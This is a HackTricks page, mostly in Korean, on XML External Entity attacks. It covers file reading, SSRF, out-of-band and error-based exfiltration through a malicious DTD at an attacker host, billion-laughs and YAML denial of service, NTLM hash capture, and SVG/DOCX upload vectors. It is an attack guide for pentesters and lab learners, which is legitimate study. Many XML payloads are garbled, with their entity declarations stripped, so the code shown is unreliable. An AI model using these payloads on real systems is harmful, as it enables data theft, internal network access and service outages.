# XXE - XEE - XML External Entity
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
{% embed url="https://websec.nl/" %}
## XML Basics
XMLμ λ°μ΄ν° μ μ₯ λ° μ μ‘μ μν΄ μ€κ³λ λ§ν¬μ
μΈμ΄λ‘, μ€λͺ
μ μΌλ‘ λͺ
λͺ
λ νκ·Έλ₯Ό μ¬μ©ν μ μλ μ μ°ν ꡬ쑰λ₯Ό νΉμ§μΌλ‘ ν©λλ€. XMLμ 미리 μ μλ νκ·Έ μ§ν©μ μ νλμ§ μκΈ° λλ¬Έμ HTMLκ³Ό λ€λ¦
λλ€. JSONμ λΆμμΌλ‘ XMLμ μ€μμ±μ κ°μνμ§λ§, AJAX κΈ°μ μμμ μ΄κΈ° μν μ μ¬μ ν μ€μν©λλ€.
* **μν°ν°λ₯Ό ν΅ν λ°μ΄ν° νν**: XMLμ μν°ν°λ `<` λ° `>`μ κ°μ νΉμ λ¬Έμλ₯Ό ν¬ν¨ν λ°μ΄ν°λ₯Ό ννν μ μκ² ν΄μ£Όλ©°, μ΄λ XMLμ νκ·Έ μμ€ν
κ³Όμ μΆ©λμ νΌνκΈ° μν΄ `<` λ° `>`μ ν΄λΉν©λλ€.
* **XML μμ μ μ**: XMLμ μμ μ νμ μ μν μ μμΌλ©°, μμκ° μ΄λ»κ² ꡬ쑰νλμ΄μΌ νκ³ μ΄λ€ λ΄μ©μ ν¬ν¨ν μ μλμ§λ₯Ό μ€λͺ
ν©λλ€. μ΄λ λͺ¨λ μ νμ μ½ν
μΈ μμ νΉμ μμ μμμ μ΄λ₯΄κΈ°κΉμ§ λ€μν©λλ€.
* **λ¬Έμ μ ν μ μ (DTD)**: DTDλ XMLμμ λ¬Έμμ ꡬ쑰μ ν¬ν¨ν μ μλ λ°μ΄ν° μ νμ μ μνλ λ° μ€μν©λλ€. DTDλ λ΄λΆ, μΈλΆ λλ μ‘°ν©μΌλ‘ μ‘΄μ¬ν μ μμΌλ©°, λ¬Έμμ νμκ³Ό μ ν¨μ±μ μλ΄ν©λλ€.
* **μ¬μ©μ μ μ λ° μΈλΆ μν°ν°**: XMLμ DTD λ΄μμ μ¬μ©μ μ μ μν°ν° μμ±μ μ§μνμ¬ μ μ°ν λ°μ΄ν° ννμ κ°λ₯νκ² ν©λλ€. URLλ‘ μ μλ μΈλΆ μν°ν°λ XML μΈλΆ μν°ν°(XXE) 곡격μ λ§₯λ½μμ 보μ λ¬Έμ λ₯Ό μΌμΌν€λ©°, μ΄λ XML νμκ° μΈλΆ λ°μ΄ν° μμ€λ₯Ό μ²λ¦¬νλ λ°©μμ μ
μ©ν©λλ€: ` ]>`
* **맀κ°λ³μ μν°ν°λ₯Ό ν΅ν XXE νμ§**: XXE μ·¨μ½μ μ νμ§νκΈ° μν΄, νΉν νμ 보μ μ‘°μΉλ‘ μΈν΄ κΈ°μ‘΄ λ°©λ²μ΄ μ€ν¨ν λ XML 맀κ°λ³μ μν°ν°λ₯Ό νμ©ν μ μμ΅λλ€. μ΄λ¬ν μν°ν°λ DNS μ‘°ν λλ μ μ΄λ λλ©μΈμ λν HTTP μμ²μ νΈλ¦¬κ±°νλ λ±μ λΉλλ©΄ νμ§ κΈ°μ μ νμ©νμ¬ μ·¨μ½μ±μ νμΈν©λλ€.
* ` ]>`
* ` ]>`
## Main attacks
[**μ΄ κ³΅κ²©μ λλΆλΆμ νλ₯ν Portswiggers XEE μ€νμ€μ μ¬μ©νμ¬ ν
μ€νΈλμμ΅λλ€: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### New Entity test
μ΄ κ³΅κ²©μμλ κ°λ¨ν μλ‘μ΄ ENTITY μ μΈμ΄ μλνλμ§ ν
μ€νΈν κ²μ
λλ€.
```xml
]>
&toreplace;
1
```
![](<../.gitbook/assets/image (870).png>)
### νμΌ μ½κΈ°
λ€μν λ°©λ²μΌλ‘ `/etc/passwd`λ₯Ό μ½μ΄λ³΄κ² μ΅λλ€. Windowsμμλ `C:\windows\system32\drivers\etc\hosts`λ₯Ό μ½μ΄λ³Ό μ μμ΅λλ€.
첫 λ²μ§Έ κ²½μ°μμ SYSTEM "_\*\*file:///\*\*etc/passwd_"λ μλνλ€λ μ μ μ μνμΈμ.
```xml
]>
&example;
```
![](<../.gitbook/assets/image (86).png>)
μ΄ λ λ²μ§Έ μ¬λ‘λ μΉ μλ²κ° PHPλ₯Ό μ¬μ©νλ κ²½μ° νμΌμ μΆμΆνλ λ° μ μ©ν΄μΌ ν©λλ€ (Portswiggers μ€νμ€μ κ²½μ°λ μλ)
```xml
]>
&example;
```
μ΄ μΈ λ²μ§Έ μ¬λ‘μμλ `Element stockCheck`λ₯Ό ANYλ‘ μ μΈνκ³ μμμ μ£Όλͺ©νμΈμ.
```xml
]>
&file;
1
```
![](<../.gitbook/assets/image (753).png>)
### λλ ν 리 λͺ©λ‘
**Java** κΈ°λ° μ ν리μΌμ΄μ
μμλ XXEλ₯Ό ν΅ν΄ **λλ ν 리μ λ΄μ©μ λμ΄**ν μ μλ κ°λ₯μ±μ΄ μμΌλ©°, λ€μκ³Ό κ°μ νμ΄λ‘λλ₯Ό μ¬μ©ν μ μμ΅λλ€ (νμΌ λμ λλ ν 리λ₯Ό μμ²νλ κ²½μ°):
```xml
]>&xxe;
]>&xxe;
```
### SSRF
XXEλ ν΄λΌμ°λ λ΄μμ SSRFλ₯Ό μ
μ©νλ λ° μ¬μ©λ μ μμ΅λλ€.
```xml
]>
&xxe;1
```
### Blind SSRF
μ΄μ μ μΈκΈλ κΈ°μ μ μ¬μ©νμ¬ μλ²κ° λΉμ μ΄ μ μ΄νλ μλ²μ μ κ·Όνκ² νμ¬ μ·¨μ½μ±μ 보μ¬μ€ μ μμ΅λλ€. κ·Έλ¬λ, λ§μ½ κ·Έκ²μ΄ μλνμ§ μλλ€λ©΄, μλ§λ **XML μν°ν°κ° νμ©λμ§ μκΈ° λλ¬Έ**μΌ μ μμ΅λλ€. μ΄ κ²½μ° **XML 맀κ°λ³μ μν°ν°**λ₯Ό μ¬μ©ν΄ λ³Ό μ μμ΅λλ€:
```xml
%xxe; ]>
3;1
```
### "Blind" SSRF - Exfiltrate data out-of-band
**μ΄λ² κ²½μ°μλ μλ²κ° μ
μ± νμ΄λ‘λκ° ν¬ν¨λ μλ‘μ΄ DTDλ₯Ό λ‘λνλλ‘ νμ¬ νμΌμ λ΄μ©μ HTTP μμ²μ ν΅ν΄ μ μ‘ν©λλ€ (λ€μ€ ν νμΌμ κ²½μ° \_ftp://**\_λ₯Ό ν΅ν΄ μ μ‘ν΄ λ³Ό μ μμ΅λλ€. μλ₯Ό λ€μ΄ μ΄ κΈ°λ³Έ μλ² [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**λ₯Ό μ¬μ©ν μ μμ΅λλ€). μ΄ μ€λͺ
μ** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**λ₯Ό κΈ°λ°μΌλ‘ ν©λλ€.**
μ£Όμ΄μ§ μ
μ± DTDμμλ λ°μ΄ν°λ₯Ό μ μΆνκΈ° μν΄ μΌλ ¨μ λ¨κ³κ° μνλ©λλ€:
### μ
μ± DTD μμ:
ꡬ쑰λ λ€μκ³Ό κ°μ΅λλ€:
```xml
">
%eval;
%exfiltrate;
```
The steps executed by this DTD include:
1. **Parameter Entities μ μ:**
* XML νλΌλ―Έν° μν°ν°μΈ `%file`μ΄ μμ±λμ΄ `/etc/hostname` νμΌμ λ΄μ©μ μ½μ΅λλ€.
* λ λ€λ₯Έ XML νλΌλ―Έν° μν°ν°μΈ `%eval`μ΄ μ μλ©λλ€. μ΄λ λμ μΌλ‘ μλ‘μ΄ XML νλΌλ―Έν° μν°ν°μΈ `%exfiltrate`λ₯Ό μ μΈν©λλ€. `%exfiltrate` μν°ν°λ 곡격μμ μλ²μ HTTP μμ²μ νλλ‘ μ€μ λλ©°, URLμ 쿼리 λ¬Έμμ΄ λ΄μμ `%file` μν°ν°μ λ΄μ©μ μ λ¬ν©λλ€.
2. **μν°ν° μ€ν:**
* `%eval` μν°ν°κ° μ¬μ©λμ΄ `%exfiltrate` μν°ν°μ λμ μ μΈμ΄ μ€νλ©λλ€.
* κ·Έ ν `%exfiltrate` μν°ν°κ° μ¬μ©λμ΄ νμΌμ λ΄μ©μ ν¬ν¨ν HTTP μμ²μ΄ μ§μ λ URLλ‘ μ μ‘λ©λλ€.
곡격μλ μ΄ μ
μ± DTDλ₯Ό μμ μ΄ μ μ΄νλ μλ²μ νΈμ€ν
νλ©°, μΌλ°μ μΌλ‘ `http://web-attacker.com/malicious.dtd`μ κ°μ URLμμ νΈμ€ν
ν©λλ€.
**XXE Payload:** μ·¨μ½ν μ ν리μΌμ΄μ
μ μ
μ©νκΈ° μν΄ κ³΅κ²©μλ XXE νμ΄λ‘λλ₯Ό μ μ‘ν©λλ€:
```xml
%xxe;]>
3;1
```
This payload defines an XML parameter entity `%xxe` and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the `/etc/hostname` file to the attacker's server.
### Error Based(External DTD)
**μ΄ κ²½μ° μλ²κ° νμΌμ λ΄μ©μ μ€λ₯ λ©μμ§ μμ νμνλ μ
μ± DTDλ₯Ό λ‘λνλλ‘ λ§λ€ κ²μ
λλ€(μ€λ₯ λ©μμ§λ₯Ό λ³Ό μ μλ κ²½μ°μλ§ μ ν¨ν©λλ€).** [**μ¬κΈ°μ μμ.**](https://portswigger.net/web-security/xxe/blind)
μ
μ± μΈλΆ λ¬Έμ μ ν μ μ(DTD)λ₯Ό μ¬μ©νμ¬ `/etc/passwd` νμΌμ λ΄μ©μ λλ¬λ΄λ XML νμ± μ€λ₯ λ©μμ§λ₯Ό νΈλ¦¬κ±°ν μ μμ΅λλ€. μ΄λ λ€μ λ¨κ³λ‘ μνλ©λλ€:
1. `/etc/passwd` νμΌμ λ΄μ©μ ν¬ν¨νλ `file`μ΄λΌλ XML 맀κ°λ³μ μν°ν°κ° μ μλ©λλ€.
2. `eval`μ΄λΌλ XML 맀κ°λ³μ μν°ν°κ° μ μλλ©°, μ΄λ `error`λΌλ λ λ€λ₯Έ XML 맀κ°λ³μ μν°ν°μ λν λμ μ μΈμ ν¬ν¨ν©λλ€. μ΄ `error` μν°ν°λ νκ°λ λ μ‘΄μ¬νμ§ μλ νμΌμ λ‘λνλ €κ³ μλνλ©°, `file` μν°ν°μ λ΄μ©μ μ΄λ¦μΌλ‘ ν¬ν¨ν©λλ€.
3. `eval` μν°ν°κ° νΈμΆλμ΄ `error` μν°ν°μ λμ μ μΈμ΄ μ΄λ£¨μ΄μ§λλ€.
4. `error` μν°ν°μ νΈμΆμ μ‘΄μ¬νμ§ μλ νμΌμ λ‘λνλ €κ³ μλνμ¬, νμΌ μ΄λ¦μ μΌλΆλ‘ `/etc/passwd` νμΌμ λ΄μ©μ ν¬ν¨νλ μ€λ₯ λ©μμ§λ₯Ό μμ±ν©λλ€.
μ
μ± μΈλΆ DTDλ λ€μ XMLλ‘ νΈμΆλ μ μμ΅λλ€:
```xml
%xxe;]>
3;1
```
Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file.
![](<../.gitbook/assets/image (809).png>)
_**μΈλΆ DTDλ λ λ²μ§Έ μμ νλμ μν°ν°(****`eval`****)λ₯Ό ν¬ν¨ν μ μλλ‘ νμ©νμ§λ§, λ΄λΆ DTDμμλ κΈμ§λ©λλ€. λ°λΌμ μΈλΆ DTDλ₯Ό μ¬μ©νμ§ μκ³ λ μ€λ₯λ₯Ό κ°μ ν μ μμ΅λλ€(μΌλ°μ μΌλ‘).**_
### **μ€λ₯ κΈ°λ° (μμ€ν
DTD)**
κ·Έλ λ€λ©΄ **μμ μ€λΈ λ°΄λ μνΈμμ©μ΄ μ°¨λ¨λ** κ²½μ° λΈλΌμΈλ XXE μ·¨μ½μ μ μ΄λ»κ² λ κΉμ?.
XML μΈμ΄ μ¬μμ νμ μ **λ¬Έμμ DTDκ° λ΄λΆ λ° μΈλΆ μ μΈμ νΌν©ν λ μ€λ₯ λ©μμ§λ₯Ό ν΅ν΄ λ―Όκ°ν λ°μ΄ν°λ₯Ό λ
ΈμΆν μ μμ΅λλ€**. μ΄ λ¬Έμ λ μΈλΆμμ μ μΈλ μν°ν°μ λ΄λΆ μ¬μ μλ₯Ό νμ©νμ¬ μ€λ₯ κΈ°λ° XXE 곡격μ μ€νμ μ©μ΄νκ² ν©λλ€. μ΄λ¬ν 곡격μ μΈλΆ DTDμμ μλ μ μΈλ XML 맀κ°λ³μ μν°ν°μ μ¬μ μλ₯Ό λ΄λΆ DTD λ΄μμ μ
μ©ν©λλ€. μλ²μ μν΄ μμ μ€λΈ λ°΄λ μ°κ²°μ΄ μ°¨λ¨λλ©΄ 곡격μλ 곡격μ μννκΈ° μν΄ λ‘컬 DTD νμΌμ μμ‘΄ν΄μΌ νλ©°, λ―Όκ°ν μ 보λ₯Ό λλ¬λ΄κΈ° μν΄ κ΅¬λ¬Έ μ€λ₯λ₯Ό μ λνλ κ²μ λͺ©νλ‘ ν©λλ€.
μλ²μ νμΌ μμ€ν
μ `/usr/local/app/schema.dtd`μ DTD νμΌμ΄ ν¬ν¨λμ΄ μκ³ , `custom_entity`λΌλ μν°ν°λ₯Ό μ μνλ€κ³ κ°μ ν΄ λ³΄κ² μ΅λλ€. 곡격μλ λ€μκ³Ό κ°μ΄ νμ΄λΈλ¦¬λ DTDλ₯Ό μ μΆνμ¬ `/etc/passwd` νμΌμ λ΄μ©μ λλ¬λ΄λ XML ꡬ문 μ€λ₯λ₯Ό μ λν μ μμ΅λλ€:
```xml
">
%eval;
%error;
'>
%local_dtd;
]>
```
The outlined steps are executed by this DTD:
* XML 맀κ°λ³μ μν°ν° `local_dtd`μ μ μμλ μλ²μ νμΌ μμ€ν
μ μμΉν μΈλΆ DTD νμΌμ΄ ν¬ν¨λ©λλ€.
* μΈλΆ DTDμμ μλ μ μλ `custom_entity` XML 맀κ°λ³μ μν°ν°μ λν μ¬μ μκ° λ°μνμ¬ [μ€λ₯ κΈ°λ° XXE μ΅μ€νλ‘μ](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)μ μΊ‘μνν©λλ€. μ΄ μ¬μ μλ ꡬ문 μ€λ₯λ₯Ό μ λνμ¬ `/etc/passwd` νμΌμ λ΄μ©μ λ
ΈμΆνλλ‘ μ€κ³λμμ΅λλ€.
* `local_dtd` μν°ν°λ₯Ό μ¬μ©νμ¬ μΈλΆ DTDκ° νμ±νλκ³ μλ‘ μ μλ `custom_entity`κ° ν¬ν¨λ©λλ€. μ΄ μΌλ ¨μ μμ
μ μ΅μ€νλ‘μμ μν΄ λͺ©νλ‘ νλ μ€λ₯ λ©μμ§λ₯Ό λ°μμν΅λλ€.
**Real world example:** GNOME λ°μ€ν¬ν νκ²½μ μ¬μ©νλ μμ€ν
μ μ’
μ’
`ISOamso`λΌλ μν°ν°κ° ν¬ν¨λ `/usr/share/yelp/dtd/docbookx.dtd`μ DTDλ₯Ό κ°μ§κ³ μμ΅λλ€.
```xml
">
%eval;
%error;
'>
%local_dtd;
]>
3;1
```
![](<../.gitbook/assets/image (625).png>)
μ΄ κΈ°μ μ **λ΄λΆ DTDλ₯Ό μ¬μ©νλ―λ‘ λ¨Όμ μ ν¨ν DTDλ₯Ό μ°ΎμμΌ ν©λλ€**. μ΄λ₯Ό μν΄ **μλ²κ° μ¬μ©νλ λμΌν OS / μννΈμ¨μ΄λ₯Ό μ€μΉνκ³ ** **κΈ°λ³Έ DTDλ₯Ό κ²μνκ±°λ**, **μμ€ν
λ΄μ κΈ°λ³Έ DTD λͺ©λ‘μ κ°μ Έμμ** **κ·Έ μ€ μ΄λ€ κ²μ΄ μ‘΄μ¬νλμ§ νμΈ**ν μ μμ΅λλ€:
```xml
%local_dtd;
]>
```
λ λ§μ μ 보λ [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)μμ νμΈνμΈμ.
### μμ€ν
λ΄ DTD μ°ΎκΈ°
λ€μμ λ©μ§ github λ ν¬μ§ν 리μμ **μμ€ν
μ μ‘΄μ¬ν μ μλ DTDμ κ²½λ‘**λ₯Ό μ°Ύμ μ μμ΅λλ€:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
λν, **νΌν΄μ μμ€ν
μ Docker μ΄λ―Έμ§**κ° μλ€λ©΄, κ°μ λ ν¬μ§ν 리μ λꡬλ₯Ό μ¬μ©νμ¬ **μ΄λ―Έμ§**λ₯Ό **μ€μΊ**νκ³ μμ€ν
λ΄μ μ‘΄μ¬νλ **DTDμ κ²½λ‘**λ₯Ό **μ°Ύμ** μ μμ΅λλ€. λ°©λ²μ λ°°μ°λ €λ©΄ [githubμ Readme](https://github.com/GoSecure/dtd-finder)λ₯Ό μ½μ΄λ³΄μΈμ.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE via Office Open XML Parsers
μ΄ κ³΅κ²©μ λν λ κΉμ΄ μλ μ€λͺ
μ **[**μ΄ λλΌμ΄ ν¬μ€νΈ**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **μ λ λ²μ§Έ μΉμ
μ νμΈνμΈμ**.
**Microsoft Office λ¬Έμλ₯Ό μ
λ‘λν μ μλ κΈ°λ₯μ λ§μ μΉ μ ν리μΌμ΄μ
μμ μ 곡λ©λλ€**, μ΄ν μ΄λ¬ν λ¬Έμμμ νΉμ μΈλΆ μ 보λ₯Ό μΆμΆν©λλ€. μλ₯Ό λ€μ΄, μΉ μ ν리μΌμ΄μ
μ μ¬μ©μκ° XLSX νμμ μ€νλ λμνΈλ₯Ό μ
λ‘λνμ¬ λ°μ΄ν°λ₯Ό κ°μ Έμ€λ κ²μ νμ©ν μ μμ΅λλ€. νμκ° μ€νλ λμνΈμμ λ°μ΄ν°λ₯Ό μΆμΆνκΈ° μν΄μλ λ°λμ νλ μ΄μμ XML νμΌμ νμ±ν΄μΌ ν©λλ€.
μ΄ μ·¨μ½μ μ ν
μ€νΈνκΈ° μν΄μλ **XXE νμ΄λ‘λκ° ν¬ν¨λ Microsoft Office νμΌμ μμ±ν΄μΌ ν©λλ€**. 첫 λ²μ§Έ λ¨κ³λ λ¬Έμλ₯Ό μμΆ ν΄μ ν μ μλ λΉ λλ ν 리λ₯Ό λ§λλ κ²μ
λλ€.
λ¬Έμμ μμΆμ΄ ν΄μ λλ©΄ `./unzipped/word/document.xml`μ μμΉν XML νμΌμ μ νΈνλ ν
μ€νΈ νΈμ§κΈ°(μ: vim)μμ μ΄κ³ νΈμ§ν΄μΌ ν©λλ€. XMLμ μνλ XXE νμ΄λ‘λλ₯Ό ν¬ν¨νλλ‘ μμ λμ΄μΌ νλ©°, μ’
μ’
HTTP μμ²μΌλ‘ μμν©λλ€.
μμ λ XML λΌμΈμ λ κ°μ λ£¨νΈ XML κ°μ²΄ μ¬μ΄μ μ½μ
λμ΄μΌ ν©λλ€. μμ²μ λͺ¨λν°λ§ν μ μλ URLλ‘ URLμ κ΅μ²΄νλ κ²μ΄ μ€μν©λλ€.
λ§μ§λ§μΌλ‘, νμΌμ μμΆνμ¬ μ
μ± poc.docx νμΌμ μμ±ν μ μμ΅λλ€. μ΄μ μ μμ±λ "unzipped" λλ ν 리μμ λ€μ λͺ
λ Ήμ μ€νν΄μΌ ν©λλ€:
μ΄μ μμ±λ νμΌμ μ μ¬μ μΌλ‘ μ·¨μ½ν μΉ μ ν리μΌμ΄μ
μ μ
λ‘λν μ μμΌλ©°, Burp Collaborator λ‘κ·Έμ μμ²μ΄ λνλκΈ°λ₯Ό κΈ°λν μ μμ΅λλ€.
### Jar: protocol
**jar** νλ‘ν μ½μ **Java μ ν리μΌμ΄μ
** λ΄μμλ§ μ κ·Όν μ μλλ‘ μ€κ³λμμ΅λλ€. μ΄λ **PKZIP** μμΉ΄μ΄λΈ(μ: `.zip`, `.jar` λ±) λ΄μμ νμΌ μ κ·Όμ κ°λ₯νκ² νλ©°, λ‘컬 λ° μ격 νμΌ λͺ¨λλ₯Ό μ§μν©λλ€.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
PKZIP νμΌ λ΄λΆμ νμΌμ μ κ·Όν μ μλ κ²μ **μμ€ν
DTD νμΌμ ν΅ν΄ XXEλ₯Ό μ
μ©νλ λ° λ§€μ° μ μ©ν©λλ€.** [μμ€ν
DTD νμΌμ μ
μ©νλ λ°©λ²μ λ°°μ°λ €λ©΄ μ΄ μΉμ
μ νμΈνμΈμ](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
PKZIP μμΉ΄μ΄λΈ λ΄μ νμΌμ μ κ·Όνλ κ³Όμ μ μ¬λ¬ λ¨κ³λ₯Ό ν¬ν¨ν©λλ€:
1. `https://download.website.com/archive.zip`μ κ°μ μ§μ λ μμΉμμ zip μμΉ΄μ΄λΈλ₯Ό λ€μ΄λ‘λνκΈ° μν΄ HTTP μμ²μ΄ μ΄λ£¨μ΄μ§λλ€.
2. μμΉ΄μ΄λΈλ₯Ό ν¬ν¨νλ HTTP μλ΅μ μμ€ν
μ μμλ‘ μ μ₯λλ©°, μΌλ°μ μΌλ‘ `/tmp/...`μ κ°μ μμΉμ μ μ₯λ©λλ€.
3. μμΉ΄μ΄λΈκ° μΆμΆλμ΄ κ·Έ λ΄μ©μ μ κ·Όν©λλ€.
4. μμΉ΄μ΄λΈ λ΄μ νΉμ νμΌμΈ `file.zip`μ΄ μ½νλλ€.
5. μμ
ν, μ΄ κ³Όμ μμ μμ±λ μμ νμΌμ μμ λ©λλ€.
μ΄ κ³Όμ μ λ λ²μ§Έ λ¨κ³μμ μ΄ νλ‘μΈμ€λ₯Ό μ€λ¨νλ ν₯λ―Έλ‘μ΄ κΈ°μ μ μμΉ΄μ΄λΈ νμΌμ μ 곡ν λ μλ² μ°κ²°μ 무νμ μ΄μ΄λλ κ²μ
λλ€. [μ΄ μ μ₯μ](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)μμ μ¬μ©ν μ μλ λꡬμλ Python μλ²(`slow_http_server.py`)μ Java μλ²(`slowserver.jar`)κ° ν¬ν¨λ©λλ€.
```xml
]>
&xxe;
```
{% hint style="danger" %}
μμ λλ ν 리μ νμΌμ μμ±νλ κ²μ **κ²½λ‘ νμκ³Ό κ΄λ ¨λ λ€λ₯Έ μ·¨μ½μ μ μμΉμν€λ λ° λμμ΄ λ μ μμ΅λλ€** (μ: λ‘컬 νμΌ ν¬ν¨, ν
νλ¦Ώ μ£Όμ
, XSLT RCE, μμ§λ ¬ν λ±).
{% endhint %}
### XSS
```xml
script]]>alert(1)/script]]>
```
### DoS
#### μ΅λ§ μμ 곡격
```xml
]>
&a4;
```
#### Yaml 곡격
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Quadratic Blowup Attack
![](<../.gitbook/assets/image (527).png>)
#### NTML μ»κΈ°
Windows νΈμ€νΈμμλ responder.py νΈλ€λ¬λ₯Ό μ€μ νμ¬ μΉ μλ² μ¬μ©μμ NTML ν΄μλ₯Ό μ»μ μ μμ΅λλ€:
```bash
Responder.py -I eth0 -v
```
λ€μ μμ²μ 보λ΄λ©΄
```xml
]>
&example;
```
Then you can try to crack the hash using hashcat
## Hidden XXE Surfaces
### XInclude
μλ² μΈ‘ XML λ¬Έμμ ν΄λΌμ΄μΈνΈ λ°μ΄ν°λ₯Ό ν΅ν©ν λ, λ°±μλ SOAP μμ²κ³Ό κ°μ κ²½μ°, XML ꡬ쑰μ λν μ§μ μ μΈ μ μ΄κ° μ’
μ’
μ νλμ΄ `DOCTYPE` μμλ₯Ό μμ νλ λ° μ μ½μ΄ μμ΄ μ ν΅μ μΈ XXE κ³΅κ²©μ΄ μ΄λ €μμ§λλ€. κ·Έλ¬λ `XInclude` 곡격μ XML λ¬Έμμ λ°μ΄ν° μμ λ΄μ μΈλΆ μν°ν°λ₯Ό μ½μ
ν μ μλλ‘ νμ¬ ν΄κ²°μ±
μ μ 곡ν©λλ€. μ΄ λ°©λ²μ μλ²μμ μμ±λ XML λ¬Έμ λ΄μ λ°μ΄ν° μΌλΆλ§ μ μ΄ν μ μλ κ²½μ°μλ ν¨κ³Όμ μ
λλ€.
`XInclude` 곡격μ μ€ννλ €λ©΄ `XInclude` λ€μμ€νμ΄μ€λ₯Ό μ μΈνκ³ , μλν μΈλΆ μν°ν°μ νμΌ κ²½λ‘λ₯Ό μ§μ ν΄μΌ ν©λλ€. μλλ μ΄λ¬ν 곡격μ μ΄λ»κ² ꡬμ±ν μ μλμ§μ λν κ°κ²°ν μμ
λλ€:
```xml
productId=&storeId=1
```
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
### SVG - νμΌ μ
λ‘λ
μ¬μ©μκ° νΉμ μ ν리μΌμ΄μ
μ μ
λ‘λν νμΌμ μλ²μμ μ²λ¦¬λλ©°, XML λλ XMLμ ν¬ν¨νλ νμΌ νμμ΄ μ²λ¦¬λλ λ°©μμ μ·¨μ½μ μ μ
μ©ν μ μμ΅λλ€. μ€νΌμ€ λ¬Έμ(DOCX) λ° μ΄λ―Έμ§(SVG)μ κ°μ μΌλ°μ μΈ νμΌ νμμ XMLμ κΈ°λ°μΌλ‘ ν©λλ€.
μ¬μ©μκ° **μ΄λ―Έμ§λ₯Ό μ
λ‘λν λ**, μ΄λ¬ν μ΄λ―Έμ§λ μλ² μΈ‘μμ μ²λ¦¬λκ±°λ κ²μ¦λ©λλ€. PNG λλ JPEGμ κ°μ νμμ κΈ°λνλ μ ν리μΌμ΄μ
μ κ²½μ°μλ **μλ²μ μ΄λ―Έμ§ μ²λ¦¬ λΌμ΄λΈλ¬λ¦¬λ SVG μ΄λ―Έμ§λ₯Ό μ§μν μ μμ΅λλ€**. XML κΈ°λ° νμμΈ SVGλ 곡격μκ° μ
μ± SVG μ΄λ―Έμ§λ₯Ό μ μΆνμ¬ μλ²λ₯Ό XXE(XML External Entity) μ·¨μ½μ μ λ
ΈμΆμν¬ μ μμ΅λλ€.
μλλ μμ€ν
νμΌμ μ½μΌλ €λ μ
μ± SVG μ΄λ―Έμ§μ μμ
λλ€:
```xml
```
λ λ€λ₯Έ λ°©λ²μ PHP "expect" λνΌλ₯Ό ν΅ν΄ **λͺ
λ Ή μ€ν**μ μλνλ κ²μ
λλ€:
```xml
```
λ κ²½μ° λͺ¨λ SVG νμμ΄ μλ² μννΈμ¨μ΄μ XML μ²λ¦¬ κΈ°λ₯μ μ
μ©νλ 곡격μ μμνλ λ° μ¬μ©λλ©°, μ΄λ κ°λ ₯ν μ
λ ₯ κ²μ¦ λ° λ³΄μ μ‘°μΉμ νμμ±μ κ°μ‘°ν©λλ€.
μμΈν λ΄μ©μ [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)λ₯Ό νμΈνμΈμ!
**μ½κΈ° νμΌμ 첫 λ²μ§Έ μ€ λλ μ€ν κ²°κ³Όλ μμ±λ μ΄λ―Έμ§ λ΄λΆμ λνλ©λλ€. λ°λΌμ SVGκ° μμ±ν μ΄λ―Έμ§μ μ κ·Όν μ μμ΄μΌ ν©λλ€.**
### **PDF - νμΌ μ
λ‘λ**
λ€μ κ²μλ¬Όμ μ½κ³ **PDF νμΌμ μ
λ‘λνμ¬ XXEλ₯Ό μ
μ©νλ λ°©λ²μ λ°°μ°μΈμ**:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
### Content-Type: x-www-urlencodedμμ XMLλ‘
POST μμ²μ΄ XML νμμ λ°μ΄ν°λ₯Ό μμ©νλ κ²½μ°, ν΄λΉ μμ²μμ XXEλ₯Ό μ
